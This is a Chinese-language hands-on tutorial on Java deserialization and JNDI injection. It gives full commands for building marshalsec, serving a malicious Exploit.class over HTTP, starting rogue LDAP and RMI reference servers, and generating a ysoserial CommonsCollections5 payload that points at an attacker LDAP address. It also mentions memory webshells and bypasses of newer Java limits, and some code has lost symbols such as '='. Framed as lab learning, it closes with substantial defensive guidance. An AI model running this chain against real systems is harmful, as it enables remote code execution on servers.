Java反序列化漏洞实战:从JNDI注入到恶意服务器搭建

Java反序列化漏洞实战:从JNDI注入到恶意服务器搭建
1. 项目概述为什么我们要亲手搭建一个“恶意”服务器如果你对网络安全、渗透测试或者Java反序列化漏洞感兴趣那么“JYso”这个名字你大概率不会陌生。它不是一个官方工具而是一个在安全研究圈内流传的、用于演示和测试特定Java反序列化漏洞利用链的集成环境。这个项目的核心就是让你能在一个可控的环境里亲手搭建起LDAP、HTTP和RMI这三种协议的服务端并理解它们如何被组合起来构成一个完整的“攻击面”。我知道“恶意服务器”这个词听起来有点吓人可能会让初学者望而却步。但请放心我们这里讨论的一切都严格限定在本地环境、授权测试和学习教育的范畴内。它的真正价值在于“以攻促防”。作为一名开发者或安全爱好者只有当你清晰地知道攻击者是如何利用一个脆弱的ObjectInputStream.readObject()调用通过一串精心构造的链Gadget Chain最终在你的服务器上执行任意命令时你才能真正理解为什么要在代码里避免使用不安全的反序列化为什么要及时更新依赖库。这不是教你怎么去攻击别人而是给你一个显微镜让你看清漏洞的原理和危害从而在开发中主动规避。简单来说这个项目能帮你直观理解漏洞原理告别枯燥的理论通过亲手搭建看到漏洞利用的每一个环节是如何串联的。掌握关键协议深入理解LDAP轻量目录访问协议、RMI远程方法调用和HTTP在Java反序列化攻击中扮演的“跳板”角色。构建测试环境为自己或团队创建一个可复用的、安全的漏洞验证与学习环境。提升排查能力当你的应用出现相关异常日志比如尝试连接某个可疑的LDAP地址时你能立刻意识到潜在的风险。接下来我会假设你是一个有一定Java和命令行基础但对安全渗透测试完全零基础的开发者。我们将从最基础的环境准备开始一步步拆解JYso的构成并手把手完成三个核心服务LDAP、HTTP、RMI的搭建与联动测试。过程中我会穿插大量我实际踩过的坑和总结的技巧确保你能一次成功并真正学懂背后的逻辑。2. 环境准备与核心组件解析在动手敲命令之前我们必须把“战场”打扫干净把需要的“武器”准备好。这里最大的一个坑就是环境冲突很多初学者失败的原因就是端口被占用或者Java版本不对。2.1 基础环境检查与配置首先你需要一台机器。强烈建议使用虚拟机如VirtualBox Ubuntu或云服务器来操作这样即使操作失误也不会影响你的宿主机。操作系统推荐Linux如Ubuntu 20.04/22.04或macOSWindows也可以但可能需要处理更多环境变量问题。Java环境这是重中之重。JYso及其利用链通常针对特定的Java版本。经过我的多次测试Java 8u102或更低版本是最兼容、问题最少的。高版本Java如8u191之后引入了很多安全限制会直接导致利用失败。如果你本机有多个Java项目强烈建议使用jenv或update-alternatives来管理多版本。检查你的Java版本java -version如果版本高于8u102你需要安装一个旧版本。在Ubuntu上可以这样安装sudo apt install openjdk-8-jdk # 安装后使用 update-alternatives 切换 sudo update-alternatives --config java # 选择对应的 java-8-openjdk 路径网络与防火墙确保你的测试机器防火墙放行了后续要用到的端口。我们主要会用到LDAP服务端口通常使用1389非SSL或1636SSL我们先用1389。HTTP服务端口例如8080或8888用于托管恶意类文件。RMI服务端口例如1099这是RMI注册表的默认端口。 在本地虚拟机测试时最简单的方法是暂时关闭防火墙仅限测试环境sudo ufw disable2.2 理解JYso的核心构成与获取JYso并不是一个单一的软件它更像是一个“脚本集合”或“项目模板”集成了几个关键的开源工具。我们通常需要准备以下核心组件marshalsec这是一个由mbechler大神编写的工具它能够快速启动一个恶意的LDAP或RMI服务器。它是整个利用链中最核心的组件。我们需要从GitHub克隆并编译它。一个简单的HTTP文件服务器用于托管我们编译好的恶意Java类文件。可以用Python的http.server也可以用nginx甚至是一个简单的Spring Boot应用。原则是能让受害服务器通过HTTP协议下载到我们的类文件。用于演示的漏洞应用为了测试效果我们需要一个“受害者”。通常是一个包含已知反序列化漏洞的简单Java应用例如使用commons-collections 3.2.1的Web应用。我们可以自己写一个或者使用一些现成的漏洞靶场如vulhub中的相关镜像。注意请务必从官方或可信的源获取这些工具。不要在不明网站下载预编译的jar包以防被植入后门。对于marshalsec我们直接克隆源码自己编译。获取与编译marshalsec# 1. 克隆仓库 git clone https://github.com/mbechler/marshalsec.git cd marshalsec # 2. 使用Maven编译。这里有个关键点项目可能依赖较旧的库建议使用Maven 3.6.x。 # 如果编译报错可以尝试跳过测试 mvn clean package -DskipTests编译成功后你会在target目录下找到marshalsec-0.0.3-SNAPSHOT-all.jar版本号可能不同。这个-all后缀的jar包含了所有依赖是我们接下来要用的。准备HTTP服务器 我们用最简单的Python3内置模块在恶意类文件所在目录启动python3 -m http.server 8888这样当前目录下的所有文件就可以通过http://你的IP:8888/文件名来访问了。3. 恶意类Payload的构造与编译服务器搭建好了但“弹药”还没准备。这个“弹药”就是最终能在目标服务器上执行的恶意代码。在Java反序列化中这个“弹药”是一个实现了Serializable接口的类它在反序列化时其readObject、getter方法或静态代码块中的代码会被执行。3.1 编写一个简单的恶意类我们从一个最无害但能证明漏洞存在的Payload开始弹出一个计算器在Windows上是calc.exe在Linux/Mac上是gnome-calculator或/usr/bin/gnome-calculator。这个操作视觉反馈明显且不会对系统造成实质破坏。创建一个文件Exploit.javaimport java.io.Serializable; import java.lang.Runtime; import java.lang.Process; public class Exploit implements Serializable { static { try { // 根据不同操作系统执行不同命令 String os System.getProperty(os.name).toLowerCase(); Process p; if (os.contains(win)) { p Runtime.getRuntime().exec(calc.exe); } else if (os.contains(mac)) { p Runtime.getRuntime().exec(open -a Calculator); } else { // Linux假设有gnome-calculator p Runtime.getRuntime().exec(gnome-calculator); } p.waitFor(); } catch (Exception e) { e.printStackTrace(); } } }这个类的静态代码块会在类被加载时执行。当受害服务器的反序列化流程最终加载我们这个Exploit.class时计算器就会被弹出。3.2 编译与托管编译这个类注意编译用的Java版本最好与目标受害环境一致避免版本兼容性问题。javac Exploit.java编译后会生成Exploit.class文件。将这个文件放到我们之前启动的Python HTTP服务器的目录下。确保你能通过浏览器或curl命令访问到它curl http://127.0.0.1:8888/Exploit.class如果能看到一串二进制数据输出说明HTTP服务正常。实操心得在实际测试中更复杂的Payload可能会依赖额外的Jar包。你需要将整个依赖打包成一个Jar文件或者确保类路径正确。对于初学者这个简单的Exploit.class足以演示整个流程。另外在真实漏洞利用中攻击者可能会构造执行命令、上传文件、反弹Shell的Payload原理与此类似只是命令更复杂。4. 搭建LDAP与RMI恶意引用服务器这是整个环节中最精妙的部分。受害服务器在反序列化时并不会直接包含我们的恶意类代码那样太容易被检测。相反它会包含一个“引用”Reference指向我们搭建的LDAP或RMI服务器。当受害服务器解析这个引用时会去我们指定的地址LDAP/RMI服务查询而我们的服务则会“告诉”受害服务器“嘿你要的类在那边那个HTTP服务器上http://你的IP:8888/Exploit.class”从而触发受害服务器去远程加载并执行我们的恶意类。4.1 启动恶意LDAP服务器使用我们编译好的marshalsec来启动一个LDAP服务它会监听1389端口并将收到的请求重定向到我们的HTTP服务器。# 假设 marshalsec jar 包和 Exploit.class 在同一台机器你的IP是 192.168.1.100 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.100:8888/#Exploit 1389命令拆解-cp指定类路径即我们的jar包。marshalsec.jndi.LDAPRefServer启动LDAP引用服务器的主类。http://192.168.1.100:8888/#Exploit这是核心参数。它告诉LDAP服务器当有客户端查询时返回一个指向该URL的Reference对象。#Exploit表示从该URL下载的类文件中类名是Exploit。1389监听的端口。如果看到类似Listening on 0.0.0.0:1389的输出说明LDAP服务器启动成功。4.2 启动恶意RMI服务器RMI是另一种JNDIJava命名和目录接口可以使用的协议。启动方式类似java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.1.100:8888/#Exploit 1099参数含义与LDAP版本完全一致只是主类换成了RMIRefServer端口换成了RMI默认的1099。关键原理解析为什么LDAP/RMI服务器能指挥受害服务器 当存在漏洞的代码执行类似new InitialContext().lookup(ldap://attacker-ip:1389/Exploit)或new InitialContext().lookup(rmi://attacker-ip:1099/Exploit)时Java会向指定的LDAP/RMI服务器发起请求。我们启动的恶意服务器接收到请求后并不返回真正的对象数据而是返回一个javax.naming.Reference对象其中包含了Factory类和代码库地址就是我们的HTTP URL。受害服务器的JNDI实现会尝试从指定的代码库Codebase加载Factory类即我们的Exploit类并实例化它从而触发静态代码块中的恶意代码。这就是所谓的 “JNDI注入” 攻击的核心。4.3 服务联动测试在启动LDAP和HTTP服务后我们可以先进行一个简单的自我测试确保链路通畅。保持Python HTTP服务器 (:8888) 和 marshalsec LDAP服务器 (:1389) 运行。另开一个终端使用一个简单的Java程序模拟受害者进行查找// TestJNDI.java import javax.naming.InitialContext; public class TestJNDI { public static void main(String[] args) throws Exception { // 这里指向我们自己的恶意LDAP服务器仅用于测试服务是否正常响应 Object obj new InitialContext().lookup(ldap://127.0.0.1:1389/Test); System.out.println(obj); } }编译并运行这个测试程序注意务必使用低版本Java如8u102javac TestJNDI.java java -cp . TestJNDI如果看到输出了类似Reference Class Name: Exploit的信息或者程序尝试连接你的HTTP服务器可以在HTTP服务器终端看到访问日志说明整个恶意引用链路是通的。你可能会得到一个ClassCastException或ClassNotFoundException这没关系因为测试程序没有真正去加载那个类但只要看到LDAP服务器有请求日志并且返回了指向HTTP地址的Reference就证明服务器工作正常。5. 整合测试模拟漏洞环境与触发现在我们有了一台提供恶意类的HTTP服务器(:8888)一台提供恶意引用的LDAP服务器(:1389)。接下来我们需要一个“受害者”应用来触发整个漏洞链。5.1 创建一个简单的漏洞模拟程序我们写一个最简单的、存在反序列化漏洞的程序。它从一个字节流中反序列化对象。// VulnerableApp.java import java.io.*; import java.util.Base64; public class VulnerableApp { public static void main(String[] args) throws Exception { if (args.length 1) { System.out.println(Usage: java VulnerableApp base64_serialized_object); return; } // 从命令行参数读取Base64编码的序列化数据 byte[] serializedData Base64.getDecoder().decode(args[0]); try (ByteArrayInputStream bais new ByteArrayInputStream(serializedData); ObjectInputStream ois new ObjectInputStream(bais)) { // 这里是漏洞点毫无戒备地反序列化来自外部的数据 Object obj ois.readObject(); System.out.println(Deserialized object: obj); } catch (Exception e) { e.printStackTrace(); } } }编译它javac VulnerableApp.java5.2 生成指向LDAP的恶意序列化数据我们需要生成一个特殊的序列化对象当它被反序列化时会触发对ldap://我们的IP:1389/Exploit的JNDI查找。这里我们使用ysoserial这个工具另一个著名的Java反序列化利用框架来生成Payload。再次强调仅用于本地授权测试。首先下载或编译ysoserial。假设我们使用URLDNS这个Gadget它只触发DNS查询无害用于验证漏洞存在和JNDI相关的Gadget。生成一个触发LDAP查询的Payload以CommonsCollections5链为例该链支持JNDI注入# 假设 ysoserial.jar 在当前目录 # 命令格式java -jar ysoserial.jar [Gadget链名称] [jndi url] java -jar ysoserial.jar CommonsCollections5 ldap://192.168.1.100:1389/Exploit payload.ser这会生成一个二进制文件payload.ser。我们需要将它转换成Base64字符串方便传递给我们的漏洞程序。base64 -i payload.ser -o payload.b64 # 或者直接输出到终端 cat payload.b645.3 触发漏洞确保三台“服务器”都在运行Python HTTP服务器 (:8888)托管着Exploit.class。marshalsec LDAP服务器 (:1389)指向上述HTTP地址。最重要的一步使用低版本Java如8u102运行漏洞程序。在终端中运行java -cp . VulnerableApp $(cat payload.b64)观察现象在运行漏洞程序的终端你可能会看到复杂的异常栈如ClassCastException,NoClassDefFoundError等这是正常的因为利用链的最终加载可能失败但关键步骤已经触发。立即查看你的LDAP服务器终端。你应该能看到一条新的连接日志类似Send LDAP reference result for Exploit redirecting to http://192.168.1.100:8888/Exploit.class。接着查看你的Python HTTP服务器终端。你应该能看到一条GET /Exploit.class的访问记录这说明受害程序已经尝试从你的HTTP服务器加载恶意类了如果环境完全正确Java版本低、类路径无误、操作系统有图形界面你将会看到计算器程序被成功弹出。成功的关键与常见失败点Java版本这是头号杀手。高于8u191的Java默认禁止从远程Codebase加载类。必须使用8u102或更早版本。可以通过java -version反复确认。网络连通性确保“受害者”程序能访问到你的LDAP和HTTP服务器。在本地用127.0.0.1测试最简单。如果在虚拟机中确保网络模式是桥接或NAT并关闭防火墙。类名与路径确保HTTP服务器上的类文件可访问且#后面的类名Exploit与文件名Exploit.class及类定义中的public class Exploit完全一致。利用链兼容性不同的漏洞应用依赖不同的第三方库如commons-collections, commons-beanutils等。ysoserial的CommonsCollections5链需要应用中有相应的库。我们的模拟程序没有所以可能只触发到JNDI查找和HTTP下载但最终执行失败。这并不影响我们理解整个流程。要看到完整效果需要将漏洞程序打包成Web应用并引入相应的脆弱依赖。6. 协议详解LDAP、HTTP、RMI在攻击中的角色通过上面的实操我们已经看到了三台服务器是如何协作的。现在我们来深入剖析一下为什么是这三个协议它们各自起到了什么作用。6.1 HTTP恶意代码的仓库与分发点HTTP协议在这里扮演了一个文件服务器的角色。它的任务非常简单纯粹存储恶意编译后的Java类文件.class文件或.jar包并在收到请求时将其以二进制流的形式返回。为什么是HTTP因为它无处不在支持简单防火墙通常不会完全阻止HTTP出站流量。而且Java的URLClassLoader原生支持从http://和file://等URL加载类。关键点HTTP服务器本身不需要任何“恶意”逻辑它只是一个静态文件服务。攻击的“恶意性”来源于它分发的文件内容。6.2 LDAP/RMI攻击的指挥中枢与协议桥梁LDAP和RMI协议在这里的角色更为关键它们是JNDI注入的载体。JNDI是Java提供的一个统一接口用于访问各种命名和目录服务而LDAP和RMI是JNDI支持的具体协议。指挥作用当存在漏洞的代码执行lookup(“ldap://attacker/xxx”)时它期望从LDAP服务器获取一个对象。我们的恶意LDAP服务器并不返回真实的数据对象而是返回一个Reference对象。这个Reference对象里包含了一个Factory类名和一个codebase地址就是我们的HTTP URL。触发远程加载受害者的Java运行时在解析到这个Reference后如果Factory类不在本地classpath中它会尝试从codebase指定的地址即我们的HTTP服务器去加载这个类。正是这一步将攻击从“数据引用”变成了“代码执行”。LDAP vs RMILDAP通常在企业内网中用于用户认证和资源查找出站流量可能被允许。攻击者利用这一点将恶意负载隐藏在看似正常的目录查询中。RMI是Java原生的远程调用协议。恶意RMI服务器可以直接返回一个动态代理对象该对象在方法被调用时触发类加载同样可以达到目的。在某些网络环境下RMI流量可能比LDAP更不引人注目。6.3 攻击链的完整串联入口点应用反序列化外部传入的恶意数据。Gadget链执行反序列化数据触发一系列readObject、getter、toString等方法的调用链即Gadget Chain最终执行到javax.naming.InitialContext.lookup(String url)。协议交互lookup方法根据URL协议ldap://或rmi://向攻击者控制的服务器发起请求。恶意响应攻击者的LDAP/RMI服务器返回一个包含远程codebase的Reference。远程类加载受害者JVM从codebase攻击者的HTTP服务器加载指定的Factory类。代码执行加载的类被实例化其静态代码块或构造方法中的恶意代码得以执行。理解了这个链条你就会明白防御此类攻击的关键点在于禁止反序列化不可信数据、升级Java版本以默认关闭远程类加载、对JNDI查找进行白名单控制。7. 防御视角从攻击原理到安全加固搭建恶意服务器的过程实际上是一次深刻的防御教育。知道了攻击是如何发生的我们就能更有针对性地进行防护。7.1 代码层面的根本性防御避免使用原生的反序列化这是最根本的解决方案。对于对象持久化或网络传输考虑使用更安全的替代方案如JSONJackson, Gson结构化文本格式无法直接承载可执行代码。Protocol Buffers, Thrift, Avro高效的二进制序列化协议有严格的模式定义安全性更高。如果必须使用Java序列化则严格限定其使用范围如仅限内部服务间通信。使用反序列化过滤器Java 9在Java 9中引入了ObjectInputFilterJEP 290可以在反序列化时对类进行过滤。ObjectInputStream ois new ObjectInputStream(bais); ois.setObjectInputFilter(filter); Object obj ois.readObject();可以创建一个过滤器只允许反序列化业务明确需要的类阻断所有未知的、危险的类。升级依赖库及时更新项目中使用到的第三方库特别是commons-collections,commons-beanutils,groovy,fastjson等已知存在高危反序列化Gadget的库。很多漏洞在后续版本中已被修复。7.2 运行环境与配置加固升级JRE/JDK版本这是阻断大部分JNDI注入攻击最有效的手段。8u191, 7u201, 6u211, 11.0.1之后默认将com.sun.jndi.ldap.object.trustURLCodebase和com.sun.jndi.rmi.object.trustURLCodebase属性设置为false禁止从远程Codebase加载类。即使在高版本中也建议显式设置这些系统属性为false。配置JVM安全策略可以通过JVM参数或java.security文件对网络访问、类加载等操作进行更细粒度的限制。网络层防护出站规则在服务器防火墙或安全组上严格限制应用服务器的出站连接。除了必要的数据库、缓存、内部API等地址和端口其他出站流量应默认拒绝。这可以阻止服务器主动连接攻击者的LDAP/HTTP服务器。入侵检测部署IDS/IPS或使用网络流量分析工具监控是否存在对非常用端口如1389, 1099的出站连接尝试或者是否存在对可疑外部域名的HTTP请求下载.class文件。7.3 安全开发流程融入代码审计在代码审查阶段重点关注ObjectInputStream,XMLDecoder,XStream,readObject,readResolve等危险函数的使用。使用静态代码分析工具如SpotBugs、SonarQube进行自动化扫描配置规则以发现不安全的反序列化点。依赖检查使用OWASP Dependency-Check、Snyk等工具持续扫描项目依赖及时发现并修复含有已知漏洞的组件。安全意识让开发团队了解反序列化漏洞的原理和危害避免在不知风险的情况下引入危险代码。8. 常见问题排查与深度技巧在实际搭建和测试过程中你几乎一定会遇到各种问题。下面是我总结的一些常见错误和排查思路希望能帮你快速定位。8.1 问题排查清单现象可能原因排查步骤LDAP/RMI服务器无连接日志1. 漏洞未触发。2. 网络不通。3. 防火墙阻止。4. Payload生成错误。1. 在漏洞程序里加日志确认lookup是否执行。2. 从漏洞机器telnet attacker-ip 1389测试连通性。3. 检查服务器防火墙规则。4. 使用ysoserial的URLDNS链测试看是否能触发DNS查询验证基础利用链是否通。HTTP服务器无访问日志1. LDAP/RMI服务器配置的URL错误。2. 高版本Java限制了远程加载。3. 类名或路径错误。1. 检查启动LDAP服务器时指定的HTTP URL是否正确无误。2.确认Java版本是否为8u102或更低。用java -version反复确认运行漏洞程序的JVM版本。3. 直接用浏览器访问http://your-ip:8888/Exploit.class确认文件可下载且类名匹配。计算器未弹出但HTTP被访问1. 操作系统无图形界面如无桌面环境的Linux服务器。2. 命令执行被拦截如安全软件。3.Exploit.class编译或加载失败。1. 修改Payload为执行一个无害且有回显的命令如touch /tmp/success或echo test /tmp/test.txt检查文件是否创建。2. 查看漏洞程序输出的异常栈是否有ClassNotFoundException,NoClassDefFoundError或AccessControlException权限不足。3. 确保编译Exploit.java的JDK版本与运行漏洞程序的JRE版本兼容。报错[ClassCastException]等Gadget链执行到最后但返回的对象类型与上下文预期不符。这通常是利用链的一部分说明反序列化和JNDI查找已触发但后续的链式调用可能因环境差异未能完美衔接。只要看到LDAP和HTTP有访问记录就证明核心的JNDI注入部分已成功。8.2 深度技巧与高级用法使用DNSLog验证漏洞存在在不便直接弹Shell或执行命令的环境如生产环境探测可以使用URLDNS这个Gadget。它只触发一次DNS查询非常隐蔽。java -jar ysoserial.jar URLDNS http://your-dnslog-subdomain.dnslog.cn payload_dns.ser将生成的Payload发送给目标如果目标存在漏洞你就会在DNSLog平台看到解析记录从而确认漏洞存在而无需执行任何代码。绕过高版本Java限制在Java 8u191之后远程加载被默认禁止但攻击技术也在演进。例如利用本地ClassPath中的类如果目标ClassPath中存在某些可被利用的类如Tomcat中的org.apache.naming.factory.BeanFactory攻击者可以构造Reference指向这些本地类并结合EL表达式等方式执行命令。这需要更深入的研究。其他利用链关注Log4j2 (CVE-2021-44228)、Fastjson等组件中的JNDI注入漏洞它们可能在某些条件下绕过限制。内存马与无文件攻击在Web环境中成功的反序列化攻击往往不是为了弹一个计算器而是注入一个“内存Webshell”内存马。攻击者会构造一个Payload在目标JVM中动态注册一个Filter、Servlet或Controller从而获得一个隐藏的、不落地的后门。防御这类攻击除了上述措施还需要配合RASP运行时应用自我保护或定制的Agent进行内存监控。工具集成与自动化对于经常需要做安全测试的同学可以将marshalsec、ysoserial的调用封装成脚本并集成到Burp Suite等渗透测试工具中实现一键生成Payload、启动服务、测试漏洞的流程。搭建这样一个恶意服务器环境最大的收获不是学会了“攻击”而是彻底理解了“漏洞”。你会对日志中每一个陌生的JNDI连接字符串变得敏感会在代码评审时对ObjectInputStream的使用提出质疑会在选择序列化方案时优先考虑安全性。这才是以攻促防的真正意义所在。整个实验环境务必在隔离的虚拟机中完成所有工具和代码仅用于法律允许的安全学习与研究。